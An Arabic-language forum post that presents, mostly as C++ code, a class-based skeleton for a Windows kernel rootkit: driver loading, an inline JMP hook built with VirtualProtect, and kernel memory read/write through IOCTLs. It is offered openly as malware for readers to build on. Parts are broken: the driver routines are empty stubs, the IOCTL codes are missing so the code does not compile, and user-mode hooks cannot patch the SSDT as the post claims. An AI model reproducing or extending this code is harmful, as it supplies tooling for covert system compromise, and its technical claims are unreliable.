• بواسطة x32x01 ||
علشان تعمل Rootkit بيفكك نواة الويندوز بلغة السي، هنستخدم أسلوب الـOOP ونقسم الكود إلى كلاسز. ركز معايا وهقولك كل حاجة:

الشرح بالطريقة البلاكية الاسطورية :
1. كلاس الـ Rootkit:
- بيحتوي على الدوال الأساسية اللي هتفكك بيها النواة.
- هتحتاج هنا تكتب دالة لتحميل الدرايفر، ودالة تانية للتعامل مع الـIOCTLs.
C:
#include <Windows.h>
#include <iostream>

class Rootkit {
public:
    Rootkit();
    ~Rootkit();
    bool LoadDriver(const char* driverPath);
    bool UnloadDriver();
    bool SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize);

private:
    HANDLE hDevice;
};

Rootkit::Rootkit() {
    // كونستركتور
    hDevice = INVALID_HANDLE_VALUE;
}

Rootkit::~Rootkit() {
    // ديستركتور
    if (hDevice != INVALID_HANDLE_VALUE) {
        CloseHandle(hDevice);
    }
}

bool Rootkit::LoadDriver(const char* driverPath) {
    // هنا بنحمل الدرايفر
    // لازم تكتب كود التحميل الفعلي هنا
    return true;
}

bool Rootkit::UnloadDriver() {
    // هنا بنشيل الدرايفر
    // لازم تكتب كود الإزالة الفعلي هنا
    return true;
}

bool Rootkit::SendControlCode(DWORD controlCode, LPVOID inBuffer, DWORD inBufferSize, LPVOID outBuffer, DWORD outBufferSize) {
    // هنا بنبعت IOCTL للنواة
    if (hDevice == INVALID_HANDLE_VALUE) {
        return false;
    }
    DWORD bytesReturned;
    return DeviceIoControl(hDevice, controlCode, inBuffer, inBufferSize, outBuffer, outBufferSize, &bytesReturned, NULL);
}

2. كلاس الـ Hooking:
- بيحتوي على الدوال اللي هتعمل hooking للـ SSDT.
- هنحتاج هنا نكتب دوال للـ inline hooks وdetour.
C:
class Hooking {
public:
    Hooking();
    ~Hooking();
    bool SetInlineHook(LPVOID targetFunction, LPVOID hookFunction);
    bool RemoveInlineHook(LPVOID targetFunction);

private:
    BYTE originalBytes[5];
};

Hooking::Hooking() {
    // كونستركتور
}

Hooking::~Hooking() {
    // ديستركتور
}

bool Hooking::SetInlineHook(LPVOID targetFunction, LPVOID hookFunction) {
    // هنا بنعمل inline hook
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(originalBytes, targetFunction, 5);
    DWORD relativeAddress = ((DWORD)hookFunction - (DWORD)targetFunction - 5);
    *((BYTE*)targetFunction) = 0xE9;
    *((DWORD*)((BYTE*)targetFunction + 1)) = relativeAddress;
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}

bool Hooking::RemoveInlineHook(LPVOID targetFunction) {
    // هنا بنشيل الـ inline hook
    DWORD oldProtect;
    VirtualProtect(targetFunction, 5, PAGE_EXECUTE_READWRITE, &oldProtect);
    memcpy(targetFunction, originalBytes, 5);
    VirtualProtect(targetFunction, 5, oldProtect, &oldProtect);
    return true;
}

3. كلاس الـ Communication:
- بيحتوي على الدوال اللي بتعمل التواصل مع الدرايفر.
- هنحتاج هنا نكتب دوال للقراءة والكتابة من وإلى النواة.
C:
class Communication {
public:
    Communication();
    ~Communication();
    bool ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size);
    bool WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size);

private:
    Rootkit* rootkit;
};

Communication::Communication() {
    // كونستركتور
    rootkit = new Rootkit();
}

Communication::~Communication() {
    // ديستركتور
    delete rootkit;
}

bool Communication::ReadMemory(DWORD_PTR address, LPVOID buffer, SIZE_T size) {
    // هنا بنقرأ من الذاكرة
    return rootkit->SendControlCode(/*IOCTL_READ_MEMORY*/, &address, sizeof(address), buffer, size);
}

bool Communication::WriteMemory(DWORD_PTR address, LPCVOID buffer, SIZE_T size) {
    // هنا بنكتب في الذاكرة
    return rootkit->SendControlCode(/*IOCTL_WRITE_MEMORY*/, &address, sizeof(address), (LPVOID)buffer, size);
}
بهذا الشكل، الكود هيبقى مقسم ومنظم باستخدام الـOOP. كل كلاس بيقوم بوظيفة معينة، وبكده يبقى عندك Rootkit قابل للتوسيع والتطوير بسهولة.
 

المشاركات المتشابهة

الردود
0
المشاهدات
10
الردود
0
المشاهدات
18
الردود
0
المشاهدات
9
الردود
0
المشاهدات
19
الردود
0
المشاهدات
11
الوسوم : الوسوم
برمجة سكريبت
عودة
أعلى